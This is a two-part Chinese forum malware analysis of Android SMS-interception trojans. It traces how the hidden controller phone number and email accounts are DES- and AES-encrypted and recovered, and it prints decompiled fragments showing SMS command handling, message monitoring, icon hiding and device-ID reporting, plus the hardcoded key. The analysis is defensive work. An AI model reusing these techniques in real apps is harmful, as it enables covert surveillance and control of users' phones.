标签 加密号码 下的文章

0x00-0前言的前面帖 子发出来好几天了,期间被工头叫过去搬砖了,今天回来一看想不到大家这么热情,应版主要求和各位的热烈需求,此处整理了一下帖子,供大家观看,并附上了样 本,密码52pojie,样本其实给出了看雪的下载链接,照顾没有看雪账号的朋友,特此一发。之前未发出完整版绝非为了赚下载,只是本人排版很渣,怕拍出来乱七八糟,还不如看word效果好,这个效果排版效果如何,大家凑合着看吧,本渣尽力了,哈哈!
0x00 前言
新加入论坛,发一下之前的一篇文章,算是给论坛的一点小支持。
样本来自看雪论坛http://bbs.pediy.com/showthread.php?t=204096,当时已给出答案,此处主要写一下分析过 程,算是总结一下,共同进步。首先声明,该样本未被加壳,程序部分混淆,但不严重,主要看论坛中还未涉及此类话题,其次论坛中有人对此加密号码分析过程还 比较感兴趣,所以来一发。
本人菜鸟一枚,首次发帖,高手默默飘过就行,欢迎拍砖!

0x01 特殊字符
JxB打开apk,未加壳,看strings有
1:43410150d9cc2072b6396f06bf57eada5acb86f0d9ee4a45
2:10801d06de02ed80cc58e431c7f1d2ac
明显是被加密了,至于加密的是什么,还是接着分析。
双击10801d06de02ed80cc58e431c7f1d2ac进入引用它的代码(搜索找到也行)。smali转java,可以看出该类主要是进 行shared_prefs处理的,明显的字段名有好多,但是该字段是a01,所以要分析其具体作用,还得继续回溯代码。

ctrl+X查找函数d()的引用,有4个,一个一个看。

0x02 第一个方向:函数d()的引用

com.phone.stop.a.c->b()函数,代码如下:
1.      privateboolean b(String arg7, String arg8, int arg9) {
2.          intv5 = 2;
3.          booleanv0 = true;
4.          if(arg7.contains(a.a(this.a).d())) {
5.              String[]v2 = arg8.split(" ");
6.              if(v2[0].equals("LJ")) {
7.                  if(v2[1].equals("ALL")) {
8.                      a.a(this.a).a(1);
9.                      return v0;
10.                 }
11.  
12.                 if(v2[1].equals("SOME")){
13.                     a.a(this.a).a(v5);
14.                     return v0;
15.                 }
16.  
17.                 if(!v2[1].equals("NO")) {
18.                     return v0;
19.                 }
20.  
21.                 a.a(this.a).a(3);
22.                 returnv0; }

可以看出函数b(估计看过以前分析的都知道该函数是短信控制命令的解析与执行,由此就知道arg7是手机号,arg8是短 信内容了),我们此处暂且认为不知道这些,继续查找函数b的引用,被本类的函数a调用。a函数的交叉引用是类com.phone.stop.a.c中的函 数a,该类是一个短信数据库观察者类,显然是对新到短信进行拦截和监控的。

private voida() {[/align]        Cursor v0 = this.b.query(b.b, null,null, null,"_id desc");
       if(v0 == null || v0.getCount() == 0){
           this.a(v0);
       }
       else {
           if(v0.moveToNext()) {
               String v1 = v0.getString(v0.getColumnIndex("date"));
               if(v1.compareTo(a.a(this.a).b()) > 0) {
                  a.a(this.a).a(v1);
                  int v1_1= v0.getInt(0);
                  this.a(v1_1);
                  String v2= v0.getString(v0.getColumnIndex("address"));
                  String v3= v0.getString(v0.getColumnIndex("body"));
                  this.a(v0);
                   this.a(v2, v3,v1_1);
               }
           }
           this.a(v0);}
此处大概就是处理新短信,可以看出v2就是发短信的号码,v3是短信内容。回到函数 b中,就发现arg7是手机号,arg8是短信内容,但是此处的contain函数类似于直接比较,所以此时shared_prefs中的手机号(也就是 a01)应该是已经解密过了。所以,还得接着看下去!悲剧。。。。。。
后面几个引用,也都是直接比较(详细不再赘述),或者是直接作为sendTextMessage的函数参数,所以解密过程应该是之前执行过了。

0x03换一个方向

前面发现,加密的数据已经被解密使用了,针对shared_prefs中的数据,肯定有解密后数据的写入过程,所以,在最开始的那个类中,我们还发现如下代码:
public voidc(String arg3) {
    SharedPreferences$Editorv0 = this.b.edit();
   v0.putString("a01", arg3);
    v0.commit();
}
函数c是将数据写入到a01的,所以对该函数的引用就应该是解密过程。既然如此,继续ctrl+x。
只有一个函数。废话少说,直接跳到该函数。
public staticvoid a(Context arg2) {
    if(!com.phone.stop.a.a.a(arg2).e()) {
        com.phone.stop.a.a.a(arg2).c(com.phone.stop.b.a.a(com.phone.stop.a.a.a(arg2).d()));
        com.phone.stop.a.a.a(arg2).b(true);
    }
}
看来其中函数c的参数就是解密后的结果,大胆猜测,com.phone.stop.b.a.a就是解密函数,直接进去。
public staticString a(String arg2) {[/align]        String v0_1;
     try {
        v0_1 = new b(com.phone.stop.a.b.f).b(arg2);
     }
     catch(Exceptionv0) {
         v0.printStackTrace();
         v0_1 = "";
     }
     return v0_1;
 }
new了一个类b的对象,参数是com.phone.stop.a.b.f,然后调用了b对象的函数b,再进去。终于快接近答案了,b类是一个DES的加密解密类,函数b就调用dofinal完成解密过程,看来我们离答案真的很近了,com.phone.stop.a.b.f就是解密密钥!

0x04密钥的小伎俩前面找到了com.phone.stop.a.b.f就是解密密钥,下面就看其生成过程,交叉引用如下:

 

其中第三个就是f的赋值过程,具体看截图的代码,一阵欣喜,直接上DES解密工具,结果一段乱码。郁闷!!!!

 

 

接着看其他交叉引用,发现木马作者使用了一个小伎俩,在运行中,对密码做了修改,具体如下:
    public staticString a(StringBuffer arg1){
       arg1.append('x');
        b.f = arg1.toString().getBytes();
        return arg1.toString();
}
密码字符串添加了x,真坏!最后不多说了,直接上图了。

 

 

最后,还有一点就是看是谁调用了解密过程。

 

 

MainActivity->onCreate函数,原来如此,细看吧!
   protectedvoid onCreate(Bundle arg5) {[/align]        super.onCreate(arg5);
        this.setContentView(2130903041);
        com.phone.stop.b.b.a();
        this.getPackageManager().setComponentEnabledSetting(this.getComponentName(),2, 1);
       com.phone.stop.b.b.a(((Context)this));
        com.phone.stop.b.b.b(((Context)this));
        if(!a.a(((Context)this)).i()) {
            e.a("软件安装完毕\n识别码:" + this.getSystemService("phone").getDeviceId() + "\n"+ d.a(), ((Context)
                   this));
            a.a(((Context)this)).e(true);
        }
 
        com.phone.stop.b.a.b(((Context)this));
        this.a();
}
紧接着其后,就是另一个加密字符串的解密,详细分析大家自己搞吧!

0x05后记

首先感谢提供DES加解密工具的网友,虽然我们未曾谋面,谢意一定送出!有需要的网友搜索一下去下载,某不敢剽窃产权!

现 在拦截马还是层出不穷啊,作者也开始考虑隐蔽自己了,有用邮箱发送信息的,账号密码也是类似加密的,以前都是全明文(邮箱被破?网站被爆菊?被反向钓鱼? 啥也不说了,都是眼泪),还有用apkprotect加过壳的。看反编译的代码,还发现初始密码和以前的一个样本stalker很像,估计是。。。。。。 (啥也不说了,估计都出名了)。
这次分析主要还是看java代码,根据函数的交叉引用进行逆向的回溯追踪,直到MainActivity->onCreate,其实主要还是个体力活。未来的主要对抗还是要集中在脱壳部分,不管是dex的还是so的,这方面论坛还有很好的示例,自己要好好学习。
其实,对于获取手机号,有很多方法,有添加log代码重打包运行的,有运行后看程序data目录的shared_prefs数据的。这些都是方法,本方法主要还是想提高一下逆向分析能力,对于理解程序流程很有意义,知其然更要知其所以然吗!

最后再次PS:首次发帖,欢迎拍砖!

短信拦截马之加密号码分析第二弹

0x00 前言

新年快要到了,提前祝大家新年快乐!
在 2015年的最后一个下午,有很多话想说,却又不知道从何说起,突然想起了自己早上脑子里忽然蹦出的一个念头:人们常说:“一叶障目,不见泰山”,想必是 登高才能望远,多数时候环境确实没有给我们提供登高望远的机会,使得很多事情难以尽兴!但是,突然发现,有的时候,我们看的不远是因为我们处在一个不能让 自己看远的道路上,比如在狭窄的山路上行车,人的视线最多也就是20米、甚至10米,这个时候你就不能望远;而在高速公路上,人的视线必须在50米开外, 此时你要是只看近处则比较危险!是啊,很多时候,不是你先近就近,你想远就远的,得看你在什么路上!而路,是一个永远也讲不完的话题。。。。。。
扯远了,进入正题。

0x01 变化

书接上回,上次说到MM作者将号码以DES加密的形式隐藏在configure文件中,我们通过逆向其写入configure文件的过程,进而找到其解密过程,获取真正的控制手机号码。
前 几天,又获取一个样本,这个样本的基本功能和前一个差不多,区别就是在于加密的方式不同了,而且还呈现了一些新的特性,比如更重要的控制手机号码不再写入 configure文件中了,只存在于内存中,这个确实给我们分析带来了巨大不便,看来此次也是煞费苦心啊!不多说,下面直接开始分析,样本在附件,密码 52pojie。

0x02 来看看MM的百宝箱

JxB打开样本,依然是从strings列表中找出好多加密后的字符串,以此双击进去,发现在com.phone.stop.db包中有大量的解密写入shared_prefs过程
    public String p() {
       this.b.getString("send_email_account","587676AA1B91FA679F7EE717D56D6EAE42C4667D5D21F62B");
        returnC.decrypt("6219472174F9AB559585F776E78FA0FF5012D9884F775E16C24270CC152225F1",C.k);
    }
 
    public boolean q() {
        returnthis.b.getBoolean("has_set_send_email_account", false);
    }
 
    public String r() {
        this.b.getString("receive_email_account","A609DC08DE9D6D0DF062B0B68028EE05");
        returnC.decrypt("6219472174F9AB559585F776E78FA0FF5012D9884F775E16C24270CC152225F1",C.k);
    }
 
    public boolean s() {
        returnthis.b.getBoolean("has_set_receive_email_account", false);
    }
 
    public String t() {
       this.b.getString("send_email_pwd","A609DC08DE9D6D0DF062B0B68028EE05");
        returnC.decrypt("A609DC08DE9D6D0DF062B0B68028EE05", C.k);
    }
[align=left]

深入到C.decrypt函数,发现是AES加密算法,而且密钥是明文,大喜过望!

private static final String CipherMode = "AES/ECB/PKCS5Padding";
    public staticString k;
 
    static final{
        C.k = "sdtyffdftesfyfdw";
然而,用AES解密工具试了一下不行。

0x03换一个方向

通过对AES加密算法进行深入研究,发现AES密钥有128、192、256三种长度,但是这个apk用的是哪一种呢?继续分析,发现C类中有一个Createkey函数比较可疑,深入分析一下。
private static SecretKeySpec createKey(String arg11) {[/align]        byte[] v2;
        byte[] v6_2;
        String v0 = arg11;
        String v6 = v0;
        if(v6 == null) {
            v6 = "";
            v0 = v6;
        }
        super(32);
        String v3 = v6;
        v3.append(v0);
        while(v3.length() < 32){
            v3.append("0");
        }
 
        if(v3.length() > 32){
            v3.setLength(32);
        }
 
        v6 = v3;
        try {
            v6_2 = ((StringBuffer)v6).toString().getBytes("UTF-8");
            v2 = v6_2;
        }
        catch(UnsupportedEncodingExceptionv6_1) {
            v6_1 = v6_1;
            v6_1.printStackTrace();
        }
 
        super(v2, "AES");
        return v6_2;
    }
仔细分析发现,该函数是生成密钥的主要过程,而且对于长度小于32字节的密钥,尾部加上一些0使得长度为32字节,由此,大胆输入解密密钥,果然如此。

 

熟悉ASCII码的朋友,一看就知道怎么回事了,而且最后添加的5个05正是AES/ECB/PKCS5Padding的特征,只是这样的解密还看的不爽!那就自己写个解密函数。

0x04解密函数

其 实对C类进行仔细的分析,自己写个解密函数还是比较靠谱的,但是本菜实现比较懒(直说编程比较弱就行了,我听见了好多声音!哈哈!),建一个java工 程,将反编译的C类拷过去,调试修改一下,注意其中要下载oracle的关于AES密钥长度的补丁,详细请看 http://www.cnblogs.com/AloneSword/p/3487809.html。为了安全起见,就不放出源码了,防止有心的朋友进 行恶意利用,这里声明,本渣只进行技术讨论,其他种种,本渣概不参与和负责!
看雪有个朋友直接写了个python脚本,佩服!这就不剽窃了!

0x05后记

首先感谢提供AES加解密工具的网友,虽然我们未曾谋面,谢意一定送出!有需要的网友搜索一下去下载,某不敢剽窃产权!
多的也不说啥了,祝大家新的一年工作顺利,步步高升!